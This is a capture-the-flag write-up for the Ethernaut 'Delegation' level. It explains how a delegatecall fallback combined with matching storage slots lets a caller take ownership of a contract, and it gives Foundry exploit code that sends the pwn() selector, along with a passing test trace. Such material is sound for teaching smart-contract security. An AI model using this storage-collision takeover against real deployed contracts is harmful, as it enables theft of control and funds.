The goals is to claim the ownership of the Delegate
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Analysis Link to heading
We have two contracts: the Delegate
and the Delegation
.
Delegate
- It has an
owner
that was set in the constructor. - The
pwn()
public function can be used to change the ownership to themsg.sender
.
Delegation
- It keeps a reference to the
delegate
instance. - Its
fallback
function calls thedelegatecall(msg.data)
on thedelegate
instance.
There are a few differences between a simple message-call
and
a delegatecall
. The delegatecall
is a
special
variant of a message call, which executes the code at the
target address in the context of the calling contract. The
msg.sender
, msg.data
and msg.value
are preserved. This
makes it possible to use other contracts as libraries.
The msg.data
should be an ABI-encoded function signature. This
could be done by using either of the following functions:
abi.encodeWithSelector(bytes4 selector, ...)
abi.encodeWithSignature(string memory signature, ...)
The EVM stores contract’s state variables in slots in the order
they are defined. Because in both of these contracts the owner
state variable is defined first (assigned to slot 0
), it is
possible call the pwn()
function to change its value.
contract Delegate {
address public owner; // slot = 0
// ...
}
contract Delegation {
address public owner; // slot = 0
Delegate delegate; // slot = 1
// ...
}
Exploit Link to heading
To become an owner of the Delegate
contract we need to call
the fallback
function of the Delegation
contract with the
msg.data
set to the encoded signature of the pwn()
function:
function exploit() internal override {
vm.startPrank(player);
bytes memory data = abi.encodeWithSelector(Delegate.pwn.selector);
address(level).call(data);
vm.stopPrank();
}
Or using the equivalent ABI-encoding approach:
bytes memory data = abi.encodeWithSignature("pwn()");
address(level).call(data)
The trace:
$ forge test --match-contract DelegationTest -vvvv
Running 1 test for src/test/Delegation.t.sol:DelegationTest
[PASS] testDelegation() (gas: 248446)
Traces:
[248446] DelegationTest::testDelegation()
├─ [191772] DelegationTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [179424] Ethernaut::createLevelInstance(DelegationFactory: [...])
│ │ ├─ [127861] DelegationFactory::createInstance(player: [...])
│ │ │ ├─ [93165] → new Delegation@"0x566b…cc21"
│ │ │ │ └─ ← 243 bytes of code
│ │ │ └─ ← Delegation: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Delegation: [...])
│ │ └─ ← Delegation: [...]
│ └─ ← Delegation: [...]
├─ [303] Delegation::owner() [staticcall]
│ └─ ← DelegationFactory: [...]
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [3350] Delegation::pwn()
│ ├─ [367] Delegate::pwn() [delegatecall]
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4346] Ethernaut::submitLevelInstance(Delegation: [...])
│ ├─ [1299] DelegationFactory::validateInstance(Delegation: [...], player: [...])
│ │ ├─ [303] Delegation::owner() [staticcall]
│ │ │ └─ ← player: [...]
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: DelegationFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Note that if the order of the state variables were different in the
Delegation
contract then this would not work:
contract Delegation {
Delegate delegate; // slot = 0
address public owner; // slot = 1
// ...
}
References Link to heading
- Call from Solidity by Example.
- Delegatecall from Solidity by Example.
- Delegatecall / Callcode and Libraries from Solidity docs.
- Layout of State Variables in Storage from Solidity docs.
Code for this step is in branch step-7.
Let’s continue to the next challenge: Ethernaut, #8 Force!